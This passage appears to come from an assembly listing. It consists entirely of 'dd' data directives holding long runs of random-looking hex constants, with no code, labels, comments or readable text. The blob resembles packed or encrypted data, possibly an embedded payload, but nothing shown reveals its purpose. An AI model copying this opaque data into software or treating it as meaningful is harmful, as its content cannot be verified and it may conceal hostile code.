22EB75B5h, 430E2D9Dh dd 912EE70Fh, 8BC7F12Dh, 73F306F4h, 408B817Dh, 0F1FCB603h dd 444CB4D7h, 0E787B4CCh, 8DE1F8B6h, 369320EDh, 6DE00784h dd 703DE7BAh, 316DE186h, 4655EDB1h, 0D261ADF1h, 0BCEA75A0h dd 2DF730BCh, 6DC5C771h, 0FC3FF79Ah, 24F788E1h, 876DA3A1h dd 0A9C7F4EEh, 0E9077563h, 0E5E735EDh, 0EDB26D6Dh, 0C8F54385h dd 827493ACh, 28484BF7h, 0B0CD5CBDh, 0C3C7E7FFh, 0E650B17Ch dd 0EDDE8649h, 0C07FD719h, 0D9ADD0C7h, 4F83FF7h, 0E7707CD5h dd 0C704696Bh, 6DA131ADh, 0EDD58455h, 5C7DE71Ah, 142D9A26h dd 4575A5E7h, 0AFCD6DF9h, 0EF444526h, 63AF5DBEh, 2DD8C675h dd 0C8FF9127h, 0AA3CD405h, 0C741E461h, 3123ADF8h, 0ED465520h dd 0FBF7DCF7h, 0ADCD84E6h, 49EDA3C9h, 0BC2D81E0h, 65520B1h dd 0E7BB77E8h, 0F2C7D03Dh, 0A8D7DF33h, 74AA4D7Dh, 46C4F7D9h dd 99EDE546h, 46D97AB5h, 5F25ADC2h, 0D686C471h, 24F75437h dd 0EDFA4484h, 0E8FEE7E5h, 31ADF684h, 0ADC1C4F7h, 0A367FC71h dd 0D8C76B87h, 0E5F7D3ADh, 6DE0C559h, 4870F795h, 466D85E0h dd 837164A9h, 0E7B2ED9Ch, 8E63516Fh, 0F393B36Dh, 0EDD006D8h dd 61EDF7D1h, 0B948C63h, 4F65A8E7h, 0E7DF72B7h, 0DB4671A4h dd 0E53E4E35h, 2DB74B65h, 0C82AC7DCh, 0FDFE93E0h, 2F40CEC7h dd 0C7E2AD8Dh, 0A3E1496Fh, 0B593302Dh, 7CF0C4F4h, 65AAD707h dd 8A6DE884h, 3165EFE7h, 0C7DF2D9Ah, 8B0F6DA0h, 0EBE0A677h dd 7F973A79h, 6969E7A4h, 48748680h, 895D60E7h, 61DE57B8h dd 9DE179EAh, 0E58DFDEDh, 0B4AAE071h, 652DE7D6h, 0D1B4AA43h dd 8979EDE7h, 0E7F92D71h, 93F76CFFh, 222381ADh, 2DE9C771h dd 0C14C910Fh, 0D52D0D60h, 63680ED7h, 1D356D9Fh, 0FD4445A0h dd 0CFF7272Dh, 7798E258h, 0E8B17376h, 0BD6D6EA8h, 85D7C5D7h dd 0D06E76FDh, 8DAA480Eh, 0D1D7C12Dh, 86E60447h, 6D633933h dd 0D748E48h, 8441E8B1h, 5582C9F6h, 0E544C755h, 0A013F12Dh dd 6DE24645h, 0EB50F77Ch, 7DED9A6Bh, 0E9796713h, 0E7AA6DAEh dd 0ABCDF348h, 6ED7D97Ch, 0AD76EE5Dh, 69A8D71Ah, 0A2DA163h dd 86D43153h, 201EEDECh, 0B577E8B1h, 0E421FA36h, 6DD54645h dd 716D530Ah, 80ADE505h, 867D2A93h, 0C7FFB9D0h, 0E6C4E0E3h dd 0E5A124C1h, 0BEBE8371h, 0D39E9172h, 2DC504h, 0C345E770h dd 810D3F87h, 0D8446566h, 8C7F53Fh, 0E23F5C8h, 480ED77Fh dd 24EDE346h, 4A7D21A1h, 0D7C7AD4Dh, 61A049E4h, 6083676Dh dd 0EDB52618h, 4404319Fh, 0B86DCC46h, 7BE83DE7h, 936CF8BCh dd 3915D20h, 0A5A13BD8h, 0AD8D8041h, 0D47DEC3Ch, 6C7F106h dd 837165AFh, 0E7FF8157h, 86CE59A7h, 0E3D70274h, 0AD106379h dd 0B035C7EFh, 80ADC505h, 0AD79A093h, 93C9ADAAh, 0E185612Eh dd 0A88D0644h, 0AD8DE071h, 41E5C7B3h, 0E2518FA0h, 0B45CB780h dd 0E7997172h, 9380E8CEh, 65A0F92Dh, 0F4E1C561h, 5D28B110h dd 54B2A0D7h, 0C66D20C7h, 51F336F6h, 0E88645AAh, 0E4E7766Dh dd 2DE58549h, 45E9F72Dh, 5DEDE846h, 0C65D6D53h, 0C78E2DCCh dd 82CD69A5h, 21121EADh, 7491AB61h, 79E4E738h, 0DCEDE2C6h dd 86D397F7h, 132F2DDEh, 91F13029h, 0A20DF16Dh, 0B4C3C545h dd 0F2B4E7E4h, 0A62D841Ah, 2861AA9Ch, 0D7073993h, 50B65DA9h dd 0F5C79BB8h, 0AD94E810h, 70DAF7FDh, 32DC985h, 0C579E82Dh dd 0E059E1D3h, 0E807556Bh, 288365F8h, 2DE04645h, 796B92A6h dd 0F4CCC886h, 617DA0D7h, 0E73B6DA8h, 0CE474925h, 63C70F6Dh dd 7CEAC465h, 0D471D70Fh, 0E374C607h, 0C557D3C7h, 0E7BA6DE5h dd 0D0846D2Eh, 71D726ADh, 74C607D0h, 51E2F765h, 356DAC0Eh dd 4649A7E7h, 0D705EDE1h, 0EF4575E3h, 63E7CABCh, 0CD90665h dd 7163F7C0h, 0E4B056EBh, 6ED498C7h, 0C716B28Ch, 0EFC46160h dd 0E1F754ADh, 37F40655h, 71A27190h, 29ADF306h, 0E16DAAC7h dd 0D74B7488h, 0EEC750F0h, 6DF7E6ADh, 2DD9C451h, 5DE5D71Fh dd 5AF4B535h, 0C559A5E7h, 0D74C6DE6h, 0DDC764F0h, 0A2F779EDh dd 0B1F5857Dh, 79E1E7DAh, 0B3EDE4C6h, 0C67DE0ADh, 0F762EDE1h dd 0D587CCB2h, 6B9131ADh, 0ADCD4441h, 61A5E7C1h, 53ED4463h dd 0C503ECB3h, 0B05B6DEDh, 0CD05B87Ah, 296133F1h, 86F4C569h dd 716BE7E7h, 8F3CD487h, 561A2ADh, 0D7AEADCFh, 0FB07B3C7h dd 0A49131ADh, 0ADFF4684h, 33C6B21Ah, 0DFED92BDh, 1D45EFF7h dd 0D7547CAAh, 0E746C4F0h, 85B21AADh, 0FBF085C4h, 6925D71Fh dd 1AED577Dh, 840084B2h, 0BE0CBBE2h, 0EC46C4B1h, 0B05D652Dh dd 0ADFCC5F4h, 407FF774h, 76B79A13h, 617C07D7h, 0E747ADBBh dd 0DDC57925h, 64E7E6EDh, 0EDE6047Dh, 0AC8CC7C7h, 0F6B3B9BFh dd 0C54564E7h, 0E705ADE5h, 0D7C5756Ah, 629195ADh, 0ADBA205Dh dd 7DA5E7B8h, 25ADE6C6h, 7F4DE5F7h, 0A106EDA2h, 0DBC538CEh dd 24A0CD2Dh, 0AD86E065h, 0DC4E9161h, 0AE36B6B4h, 5C0B789h dd 0D7ECADE3h, 0C98479E0h, 31D7DA37h, 84FC06C4h, 692AD70Bh dd 0BDAD9180h, 659E6D7h, 618BADF6h, 0D744596Bh, 6DA1C6ADh dd 0EDD8C475h, 69A1D7DAh, 0C52DDAC7h, 46D6070h, 0F7472DC9h dd 0C8C51478h, 0CAC77003h, 6DAF6308h, 41EDE7D7h, 0F8ADDA06h dd 0C5592BD7h, 0C7B06DD3h, 0AF617D2Ah, 2AD7BC6Dh, 2DACB979h dd 59AED726h, 292DA7ABh, 0C74DE8C7h, 0F79AADD0h, 0F54665E9h dd 0E8002DEDh, 0EDAE797Dh, 5D2AD795h, 3AEDC1C4h, 0A069E941h dd 0F7EDAD63h, 0D346C370h, 6383316Dh, 31C3C569h, 4520D7E3h dd 0F12D91B2h, 4F4F7C2h, 6C9EEDC0h, 2E1E6DE5h, 22D7DA70h dd 0EDE84649h, 612B4C9Eh, 303BD604h, 45926A1h, 0D71EFBC8h dd 0EFC5456Bh, 26C7F46Dh, 3B93FC7Dh, 45A52285h, 397AE705h dd 54521E7h, 0E76AEDE1h, 983E41A2h, 0A2A135ADh, 0B2E9C461h dd 7967D7F3h, 0E233F0C6h, 4559A2E7h, 0D7B3B2E9h, 0E6C64567h dd 0E5D79B6Dh, 0EDB9607Dh, 51E7C739h, 2E2D9D9Eh, 4716773h dd 0C7862DDDh, 0EFC549A1h, 6AE7F76Dh, 70DEC745h, 556AE7B6h dd 73ADADF8h, 847D67D7h, 0E725EDF9h, 0EF054969h, 6BD7382Dh dd 7AE7065Dh, 51ED9DB5h, 0E42DD144h, 617D21D7h, 0E7DBED9Eh dd 0CA44B8FCh, 0E76090FFh, 0ED9CF359h, 0E4B56052h, 0DAF11BD8h dd 844920D7h, 0F49BB4CAh, 0C08686F5h, 0EBF733C6h, 0AD83E355h dd 41A38CE1h, 0C46DE2C7h dd 0A069A5F7h, 119EC4B8h, 0D106DBFDh, 0A4E7ECADh, 6DA3416Dh dd 792DB36Ch, 0DFC83E7h, 1D45A081h, 0D797ED96h, 0C3C4601Dh dd 74C731F8h, 0AD95A278h, 2777D71Dh, 0E8BCDB44h, 0F67125ACh dd 0B13021E8h, 79B56966h, 0A102F611h, 0EDA3A161h, 712F8FE0h dd 0A709D546h, 744F3F7h, 0E73B6DFDh, 0D8474082h, 0A3B12CADh dd 0FCC307B4h, 8F769109h, 0BA6DAC6Dh, 46452BE7h, 0C7586DC3h dd 0A6BAC82Ah, 34F03130h, 0AD4D41F4h, 7DE5E7EAh, 64AD8FA1h dd 464480D7h, 0F718EDFEh, 0EAC54449h, 6DF733FCh, 2D9C8875h dd 0F774D75Dh, 4DB87D41h, 0C76874C7h, 0D71A2DEBh, 0F0C67D66h dd 33D7C177h, 2D95355Ch, 5807D7FFh, 1A2DCD04h, 224474C7h dd 0E73AAD91h, 0F604D4B9h, 0D473DE3Eh, 0F7BFAFC8h, 55EB61F0h dd 0D63FB028h, 5500DD7h, 0D02479D1h, 902F71ABh, 6DD71DADh dd 2DD50451h, 75AE61EDh, 732DA4E0h, 2D49AA83h, 0F7F8EDADh dd 0D0C751E8h, 6AC7F56Dh, 0ED814E69h, 0F874D7DDh, 0A9FEC84h dd 444C74C7h, 0F733EDC4h, 0C1046E41h, 0B7C0293Ch, 0EDFC4644h dd 372DD771h, 876DF804h, 0C7512B61h, 7D376DE8h, 0FDC749E0h dd 0C9F7DF2Dh, 6DAFDDA4h, 6D2AA112h, 0F52D8D03h, 94647EC7h dd 0D7337198h, 86E1B1A0h, 0B883E7ADh, 0B7B1E190h, 51A4E73Bh dd 252DA2A0h, 0A17129E7h, 0C7126D51h, 0EE852735h, 0B891E86Dh dd 0EDF5C4A8h, 6520F78Bh, 8C2D9601h, 46C44BC7h, 93E92DC2h dd 83FE7920h, 0F2E4D4B4h, 6D9A00C5h, 0F9329334h, 7EDB1C3h dd 5774E91h, 9FC02DC1h, 8701652Dh, 0CFD7C989h, 6D50435Ch dd 7001E7F1h, 74B68C23h, 0E04CC9F7h, 0F77E84AAh, 0F5C4FBC9h dd 6DE786EDh, 0F478E065h, 0FF76C7C5h, 0AE348AEFh, 3BC7FAC7h dd 0E7E2349Fh, 847E50F6h, 62C7DFB7h, 34A1814Dh, 5084E7C5h dd 9F77223h, 755AD31h, 6120B9D6h, 0E50749AAh, 7853E0EDh dd 0E7BF6908h, 0ECC7D7D9h, 6EE7C3C5h, 0C4F08065h, 0A1262DE1h dd 9BA261A4h, 0BBA1712Dh, 2DA1EC68h, 8C889178h, 59ADB5F5h dd 0C4BB25C7h, 8296BCFFh, 0D087692Dh, 2D39CB00h, 0BFA9B369h dd 6160F71Fh, 0F8ED850Bh, 6D7522C7h, 0C773BCB5h, 908B6470h dd 92C7CF6Dh, 6D856D7Ch, 6D6B53AFh, 0A5B6F144h, 4465A2F7h dd 21D67EC6h, 0D3464798h, 0DEB3632Dh, 46D24547h, 501EE758h dd 0DC2D8D80h, 4DCC693h, 2305EDDDh, 0A695C719h, 5FE7146Dh dd 2DD646C4h, 696B9363h, 0A20EFE45h, 0BC487E7h, 0E79887A9h dd 0A0ED64BBh, 0EDD76576h, 0EDF1C665h, 4D20C7DFh, 0C33D9A80h dd 0C56D2A20h, 0E76373ECh, 0A0C37C85h, 0BBE75691h, 0B2C98448h dd 5D6BE4BFh, 423CC107h, 60CCB561h, 7139A4D7h, 0CC205120h dd 0A1C70784h, 0BEF1C555h, 0B7B59107h, 0F1EDEE04h, 6E487C7h dd 0C705B8F0h, 0BBE15521h, 7DE715ADh, 0ADF5C5C4h, 7DE0A195h dd 12ADCD84h, 0F07163C7h, 0A1F4ADB5h, 0FD4451E7h, 25A0A28Bh dd 0F491D741h, 24AA40ACh, 744A7C2h, 0A37DA5C7h, 0E7E4B2A5h dd 0E2069BBAh, 1EF2D937h, 0EDA333C8h, 342A139Dh, 152DE6C5h dd 47C487C7h, 0E77C41DEh, 0E3C7C075h, 0E0D715EDh, 0EDFBC749h dd 7522810Eh, 77D0EBC5h, 6416691h, 0D7A0ADD7h, 0DEC575A2h dd 0A2C7D3EDh, 2DAD7269h, 492A91D3h, 0B32DE645h, 0C65964D7h dd 0C787F0FDh, 0E7C57521h, 0E2E287F4h, 0EDBC7669h, 0A077FC5Ch dd 26ADD786h, 0C63C37C7h, 0F7A7ADD7h, 0D1067DADh, 0F9F7A4ADh dd 31E7C4E4h, 206DF29Fh, 0E46D8E62h, 862EF743h, 0D764EDCEh dd 0E1847D64h, 6EE055EDh, 0ADDF4551h, 41A993CDh, 7FEFB04h dd 0B1B487E7h, 0AD8A415Bh, 90E1D4C5h, 0EAA347ADh, 31BE8171h dd 696BE7E1h, 0ABADF247h, 0C459E57Eh, 0D7E183E8h, 9515A868h dd 34F2C2ADh, 0EDF1C4F0h, 6DE4A1F6h, 0E3ADA361h, 6756BE7h dd 6303BED3h, 0E76F60FDh, 73F7E12Dh, 0B4F220E1h, 5160D755h dd 78F4D720h, 736095E7h, 0C7A22D4Dh, 0B6A37B8Ah, 6E23786Dh dd 44FAC77Dh, 38BDC729h, 0DED8963h, 0EC403F73h, 33EF359Dh dd 0CD866521h, 28E7F42Dh, 0ADC92965h, 69685CA9h, 0D9ADE8C7h dd 84D057F7h, 60F42DFDh, 0B9FC75EBh, 0A860F42Dh, 7491FC75h dd 752AE7B2h, 0F46D9DFCh, 0FC752E60h, 703733B1h, 0E50475A2h dd 2AD7D1F7h, 0F4D30465h, 45E1E707h, 0EF77E585h, 0C5456B6Ch dd 3F552DFBh, 0E74755ADh, 0E72277EDh, 6DBD6D65h, 0E8B1E731h dd 50ADFFC4h, 0AA6925ECh, 0F7192DA9h, 0C5855C01h, 0CD83102Dh dd 0AD53B58Bh, 1C0472C3h, 0DA6DAE1Ch, 0C7496EF7h, 41B7BCCAh dd 0F0C793CCh, 886CEF6Dh, 0ADEE46C4h, 49E96CA9h, 922DEFC7h dd 367D2860h, 0F7A42D4Dh, 0A0804928h, 39F7FC6Dh, 0B3E904B3h dd 6169E7B4h, 5A6DA6E2h, 87B0E3C7h, 0E7312DE5h, 0D2846561h dd 0C7505D76h, 0ED0A4DC9h, 752321CBh, 0F9F9A7CDh, 1C7D2B5Eh dd 2EE42D93h, 0AE7469E7h, 0C7627AEDh, 77EC07C4h, 8B423378h dd 32FCD506h, 7469EB60h, 0BD9A6D95h, 0A07C7D22h, 0C5E7D3ADh dd 0ADED86C4h, 45E4E7F8h, 63ADD0C4h, 2951AAC7h, 0F7F8EDA7h dd 0E3464525h, 2AC7926Dh, 0ADEB46C8h, 0E81A2277h, 123BC3C4h dd 84616B50h, 637D73E4h, 0F0441FC2h, 2001C13Bh, 36C9847Dh dd 0FD1BD7F1h, 0D633BAADh, 0C745E960h, 93A9EDF6h, 0D944B235h dd 6E63606Dh, 2D8C3D5Dh, 4492C70Ah, 71EDE146h, 0EDE01922h dd 0D76F2D8Dh, 0A9265D2Bh, 0AAC7DD33h, 6D617EBFh, 6892C78Dh dd 75B7D884h, 755A470h, 91CD6DF4h, 0B2A1652Ah, 0E0E7D0F7h dd 2D8D9C65h, 6968C741h, 0A6F48B5Bh, 0D9CCB4C7h, 62786D1Bh dd 4E1B30B9h, 0C72C0BADh, 0ADF546D4h, 0F712F70Ah, 0DB6DA0ACh dd 0B55AAF7h, 0F7E74A9Ah, 89ED2499h, 0E9D72B2Dh, 0EDD70475h dd 75A0F707h, 0B0EDDC86h, 469ABE7h, 6103EDCFh, 0E0C561ABh dd 74F7DCADh, 0EDE2047Ch, 49E9C707h, 202DE445h, 2B849A51h dd 0A67CCA4h, 8C9E716Bh, 92C7202Dh, 0ADA0D46Ch, 0F8F6E71Fh dd 0DFB32D7Dh, 1C7D2FD7h, 0D7BA6DA5h, 0C605616Bh, 0CEC74BB1h dd 2DEDC7B3h, 5563230Bh, 0AA7CEB06h, 0AD4DAE61h, 81B9B49Bh dd 0D04471A0h, 1EC7B3BCh, 0B0CC8634h, 0D81D421Eh, 0DF2DA9A2h dd 5B4967D7h, 61F00A91h, 3AC1C5F5h, 0A2C7DEB3h, 0B2D0854Dh dd 47F5637Ah, 0BDB494E0h, 8527A8F7h, 0D7387CCCh, 0F6846969h dd 368F44ADh, 0BCE046DCh, 55E5AD24h, 0A12D8EC1h, 0C2C9F6E7h dd 8391AD7Ah, 0D42368CEh, 3EC73FB1h, 0FC88A16Fh, 69A8F7B8h dd 0DDB08FAFh, 0A26D2BF7h, 0D78F7468h, 0DA46C372h, 0D8F79AEDh dd 2DAFCD48h, 6D6B7326h, 0E5C7F805h, 0E9647691h, 0F7672D8Dh dd 55ED4C70h, 4C53266Dh, 0AD3E4F63h, 679451CFh, 4E3FF4C7h dd 0C575A6B1h, 0A13E6DE4h, 0E1448E6Eh, 7DC7F3ADh, 6DC9C4F0h dd 4DAAC729h, 706D89E0h, 534C72E7h, 216AAD8Fh, 0AF0CE87Dh dd 0B54338ADh, 0F4D4C5C4h, 60B1F7C5h, 0B36DBE20h, 0EFCBB3E7h dd 0D1E6AD4Dh, 0F787CF33h, 6CA13F67h, 0F4E80651h, 6D6DB1B9h dd 0E934A58Fh, 0CE7BDD7h, 0C77031AFh, 0ACEEECC9h, 0A4B14E5Fh dd 0BFC14655h, 756B6316h, 0B12DA94Ch, 4E75E073h, 0E7E76DAFh dd 0F2C641ADh, 60D7F8ADh, 0EDF3C74Dh, 4D6AC7C5h, 0A1ADD145h dd 866166C7h, 515EB0F8h, 0C3047126h, 0E1E774EDh, 0AD506E71h dd 0F78BF7DFh, 5EDD804h, 4E552A21h, 0C761AD50h, 0DBC765A1h dd 0A711C2EDh, 2D99E349h, 6162E786h, 202DCEC5h, 468869E7h dd 7319EDC8h, 910E7925h, 549065ADh, 2DE2C7C8h, 6D6BD734h dd 561FD9C5h, 0C57D6BD7h dd 0E038B8FAh, 9F2E6494h, 66216D2Dh, 0EDEAC57Dh, 7DE9E7C0h dd 0FD6D66F7h, 0A8B82DC7h, 0E71430BAh, 0E045E8E5h, 0A9D73CADh dd 0EDE1C465h, 516FD787h, 0BC2DCAC6h, 65D6521h, 0E74B2DF9h dd 0A968716Ch, 0A0E778EDh, 0EDF5056Dh, 64CB7DF1h, 766DEE06h dd 0C6A06AD7h, 0D7DF2DE4h, 0F6C749E5h, 25E7862Dh, 2DE48641h dd 69E5D75Dh, 2A2DC5C7h, 0C64D66D7h, 0A0F5ADF2h, 0E60469E4h dd 7EE71AEDh, 0ADE5448Ch, 6169D707h, 0A22DCCC6h, 0C45DE5F7h dd 0D732EDF1h, 0DE064567h, 0E2C712EDh, 0F4FB0541h, 65A161C7h dd 7EDFD05h, 4645A8D7h, 0E7A76DCDh, 80D240B3h, 6DB33D6Dh dd 0F194E949h, 696BD72Ah, 9F4EA85h, 0EB796623h, 3C496DB4h dd 0EFC4A420h, 66D7F536h, 0ADD70649h, 74D7C79Fh, 0B648F0C5h dd 4D0D6F7h, 0D711F6CBh, 0E6866167h, 9EE716EDh, 0ADC146C7h dd 0DFD013CAh, 2DAD74AEh, 0FA412D70h, 0C7E7AD8Fh, 0A8776560h dd 6AE7B66Dh, 2DC44645h, 3C0FE7E7h, 7F7EE2C5h, 8B6D66E7h dd 8161ADBEh, 9D756DE2h, 67D733ADh, 0ADCD8645h, 59E0C7D3h dd 0DFF69760h, 944D26F7h, 0D7DBB4AFh, 0FEC584CAh, 27D228ADh dd 7E941549h, 84E4517Bh, 236D8335h, 44CCB2E2h, 3CBB5FDh dd 0A80B55A4h, 1C7727Bh, 2DC9C7EAh, 9C74D7F6h, 62EDED84h dd 84C0DFACh, 0E7B06DE8h, 0BE7049AEh, 29D707C9h, 2DF40679h dd 8C2ED72Dh, 10ED86EBh, 0C64D65D7h, 0D7D7EDE6h, 0E807F435h dd 0E5F7C66Dh, 6DC10445h, 71A8D77Fh, 242D84CBh, 85C09DD7h dd 0D795EDEEh, 0DDC679E5h, 0E8E72D76h, 2DEDC749h, 6D69D287h dd 0CBADA897h, 847D6DD7h, 0C7C073EAh, 0D2847D65h, 49C0EB6Dh dd 0EDA9EB98h, 6DA421CCh, 182D7497h, 0B765E8C7h, 0D79B6DAEh dd 0EE0645E7h, 0E5D710EDh, 6DD98471h, 49E4D04Ah, 0EDADD586h dd 0C749A7E7h, 31062DDFh, 0CAC661E4h, 65D7262Dh, 0EDE6064Dh dd 0E85EE79Bh, 93718A96h, 8659E7D7h, 0F711EDEEh, 0BBFE8028h dd 2DF7E4ADh, 0EDF68755h, 5129C75Eh, 472DE407h, 4649E931h dd 106EDEFh, 0B21651A4h, 0AA21142Dh, 2DDF4569h, 7968C707h dd 9371EA06h, 865965D7h, 0E7B2EDE6h, 0E1C751A9h, 2FD7E36Dh dd 0ADD9C559h, 456DD798h, 0A331C906h, 4665E9F7h, 0E727EDE2h dd 0DFC5696Ah, 0AA13142Dh, 0F0BC7751h, 0D4D381AFh, 0BAF8D206h dd 0B74169E7h, 0C76FED9Ch, 0E2C779A9h, 69FCCDADh, 798D72B4h dd 98EE21D2h, 0AAB0A571h, 0C68C6D80h, 0E716EDEEh, 0EFC6946Eh dd 2DF7D8F6h, 0EDEA0755h, 65A1C721h, 46DCD05h, 4679E9F0h dd 0C79F31CEh, 0B070902Bh, 0F7F7D371h, 0C09BB6B8h, 4D6A9034h dd 4A399DF0h, 0C56166C0h, 0F7746DF0h, 8F56792Ah, 0AB90E12Dh dd 3995B169h, 92EAD01Bh, 0F0746636h, 8604B570h, 0F7C56DFDh dd 86D15563h, 6BC0CC2Dh, 0C8B07779h, 0B534A0FCh, 0EF2DBD51h dd 0C475AA9Ch, 0A22E6DEEh, 8AF641EBh, 76E0D62Dh, 2D92292Ch dd 0C4D3C7D1h, 126DEE06h, 864DE7D7h, 0C715EDEEh, 0FC869430h dd 60D78979h, 76ABD44Dh, 6D25D71Fh, 27EDB477h, 0C56968F7h dd 0E71570C8h, 0BFA0B4BAh, 0ADD755F0h, 0B8B817B4h, 0C434C7DDh dd 4A79FC06h, 8455A8D7h, 33846DECh, 85B1656Bh, 6FB0212Dh dd 0EDC6C6A8h, 9BEE30F5h, 17EDEEC6h, 46B46EE7h, 0F76D79DBh dd 0CE8765E4h, 0AFEC94ADh, 71C24680h, 596DF201h, 0B030904Ah dd 0ECABB3D7h, 0E7DF4193h, 0D48728B2h, 72518EADh, 0B848D683h dd 516A21A9h, 182D9DBCh, 5075A0F7h, 0D047309Dh, 0BE3680C3h dd 0F2F7DE01h, 6DEB853Bh, 7D62F735h, 0BA76DD47h, 765D6B8Ch dd 0C04731B9h, 0F0C74168h, 4DE7D8ADh, 0F8BCF0ACh, 0CCDDB8C1h dd 0B2EDC686h, 0C7B447F7h, 0E7ADEDDDh, 0EC077565h, 86B22EADh dd 4A73F0h, 79E7D795h, 4B00D8C6h, 0C7347EC0h, 0F77DEDE6h dd 0D3855DA7h, 3580042Dh, 0F0D18588h, 6565D7A4h, 212D91D8h dd 0A0B40870h, 81AE2D99h, 0E2C6ABF1h, 3A72DB70h, 79FCC697h dd 65EED7F5h, 8DF0E4C4h, 0EB7965F2h, 0A8F2EDB2h, 0AD4A9B6Dh dd 81C0DA70h, 79DB4624h, 5D60C7B1h, 94EDC384h, 6B7525CCh dd 0C041EDB7h, 0F106D4B4h, 0FC9871h, 3E8AB18Ch, 79655063h dd 82B19B2Ah, 0C6796F42h, 0D79F6DD3h, 0E8461872h, 0E8D7D171h dd 2D84F110h, 0A83752BAh, 2D2DEEC5h, 0B6496AF7h, 1277170h dd 0F885B82Eh, 27D7E1ADh, 1C2867Dh, 882BE7A4h, 1401CA85h dd 96E85D03h, 0D7072DB4h, 79F3596Ah, 0AD60A539h, 0ADF68565h dd 6DA1E7E0h, 0E8B3C5C5h, 468C1480h, 0F7D1F2C4h, 0A429A028h dd 0D6BCD82Dh, 0BADF06CCh, 0A430C714h, 25B0D106h, 467DEDF7h dd 506A6DC4h, 0B7EB79A9h, 2580BAEDh, 0F3B8DA41h, 8C7D22C3h dd 5BF89B33h, 0C6B7FCC7h, 0A2B6F0F8h, 0F6064969h, 0A8D71C2Dh dd 31AC6BB4h, 8029E71Ch, 0FCEDE606h, 0C68C3FB0h, 0F7D779ECh dd 9F3D9F81h, 0ABC72740h, 2DC4C651h, 68DFC7ADh, 9F72EA46h dd 0C688DCC7h, 0A22270E2h, 0EAC698B7h, 52923D38h, 749451B4h dd 7D64C7C0h, 28EDE286h, 568455E7h, 0F71EF2BBh, 0ACB194D7h dd 1CE09973h, 33A3320Fh, 385FCE9Ah, 90EDE8C7h, 1BACF1C7h dd 0F75FB2A7h, 0BA3B8C91h, 6F92D879h, 0F087FEB4h, 387EA25Ah dd 9EEDA6DEh, 844DA4E7h, 625EADE0h, 86F6416Bh, 68A1652Dh dd 73D4C569h, 13FA81B3h, 7A8CB2BDh, 0B78C0383h, 0D79FEDA0h dd 0E04741EBh, 0EB705946h, 0B8B83E71h, 71698169h, 0F02D99EDh dd 0C6ECB90Eh, 0AD4B08D1h, 597D792Eh, 6AE7246Dh, 2DCA4769h dd 0DCF523A9h, 75326F99h, 17AF4D81h, 0C7D1B848h, 0E786002Eh dd 0A3D73EEDh, 49F7395Dh, 842F1C03h, 132D9EB6h, 0E94DABECh dd 0C7203CBDh, 0CFC4556Dh, 8FE786EDh, 0B4A07800h, 0C4F28165h dd 0E4EDD606h, 569E8B1h, 0A23731D5h, 0E705492Ch, 6AC7ABADh dd 2D9EEC61h, 45A5A1EDh, 41EDB9E0h, 5A86AB0h, 90AB2DFFh dd 0B10145E6h, 0EDB2EF2Dh, 0ADD4067Dh, 643DE704h, 1F74DF46h dd 8375A4F7h, 0C729FBB1h, 0EF0569E9h, 3F20683Ah, 0ADC445ECh dd 6D23F782h, 8ED7523h, 3D41E4A1h, 0D717C267h, 0A4ED55E6h dd 765D7E2Dh, 0EDE9C56Ch, 59ABF7EBh, 0FE2DA7B3h, 46E4B191h dd 0D755B4EFh, 0EE06F432h, 0B2E2CB77h, 2DCFC434h, 49AFE74Ah dd 9FB76330h, 38F041F7h, 5327F0BCh, 0F50569A8h, 50D7292Dh dd 0F0A37138h, 5D29D78Fh, 15ADEE86h, 46CC7E8Ch, 0B1F2B7C0h dd 0D686CCB0h, 0E6D7D3EDh, 0ADB8BD6Dh, 0B8CE50E3h, 0FDEDBAA1h dd 74961D7h, 433533C8h, 0E446D802h, 6A800177h, 0B8E40561h dd 0E3CB5063h, 0E36DB9FDh, 755E2E7h, 0C74A6DDAh, 0BA6CE843h dd 0D581754Fh, 378477CCh, 0D47F81ABh, 54EDFC87h, 874922C7h dd 0AD62EDCDh, 0BA617B4Eh, 6923222Dh, 717D6E69h, 796A81AAh dd 5F6DC445h, 0E0F072F7h, 41368F87h, 0E086A87Dh, 44F7D517h dd 6DA0DB34h, 612BD7E9h, 58BCA1E3h, 6C8865Fh, 519F07DBh dd 0B1B9EF89h, 0A5F7E16Dh, 6DED8551h, 604CD7E4h, 0D7FB86Fh dd 89509271h, 0A0527A9Fh, 0DC8561ACh, 0A8E7D1EDh, 0FFA7A86Dh dd 0F7454FCBh, 96B32CCEh, 8741AB71h, 0D75C2DFEh, 0C6AEC9C8h dd 0B209607h, 0ADD906C4h, 6D24D74Dh, 1207DF2Eh, 4EF49643h dd 71F331BAh, 0C9847DA3h, 3D30996Dh, 2D86E078h, 0F4F49177h dd 0B82DBA6Fh, 6CDC32B1h, 0C7F4417Dh, 0C34541E7h, 24D28DB4h dd 74DF850Ch, 0C87BCC04h, 0E1F6DFC5h, 87FB7AB3h, 0D76F2DDAh dd 75ED61E1h, 0F4D79FF0h, 0B23FCD8Ch, 0E4761D01h, 2D6D826Dh dd 4749ACE7h, 40A643C1h dd 8ABD656Bh, 86A06AFFh, 0FF97E0C8h, 65667FABh, 546DF647h dd 46C8C191h, 0F71C74DFh, 7C6AE483h, 0B6916F2Dh, 0ADB8CCDCh dd 69642309h, 33ADFCC6h, 8965A3F7h, 0CEA02D86h, 9C00C432h dd 76615DB9h, 0F680A058h, 5529E741h, 626DEAC5h, 0A127E69Dh dd 0C0E5F7A9h, 85EC9062h, 6403E7FEh, 2D8A2F59h, 608861B5h dd 0AF077994h, 6EE81193h, 71DE7749h, 0E18451E8h, 0E2D43F75h dd 0B7333489h, 5D211167h, 3E6DCD04h, 89856DF7h, 31A279B3h dd 0BCCA9A6Ch, 0ABC7DDEDh, 2DDB4555h, 0D3D6D40Ch, 0CBF4ABD1h dd 37D812EEh, 0F735EDB1h, 0F64769E5h, 0A9D0313Fh, 11F0F610h dd 6124132Dh, 0E7EDF447h, 744921C7h, 0D83BA1D6h, 0E7854449h dd 0E0D77A6Dh, 61EC0679h, 0AE6CF481h, 0A8EDBC0Ch, 54DEAC7h dd 72A76DD8h, 8E3569EBh, 8BE0682Dh, 0F9B9A1E8h, 0CB4FA126h dd 0B349E6Ah, 8679E8C7h, 7DA5EDCFh, 0F14680E0h, 0F22034B1h dd 0C9D8C6C8h, 0E49C93F2h, 116DB46Dh, 4649ADC7h, 0D7606DEEh dd 84AD6DE5h, 0A4F7DD34h, 0EDAEE045h, 75A183DFh, 25ADFAC5h dd 0C741E9F7h, 0C70730C7h, 0C0C545A1h, 7BC7E700h, 7FE1C594h dd 94BBD760h, 97ADFEC5h, 0C771E9D7h, 0E7782DF7h, 0E8847D27h dd 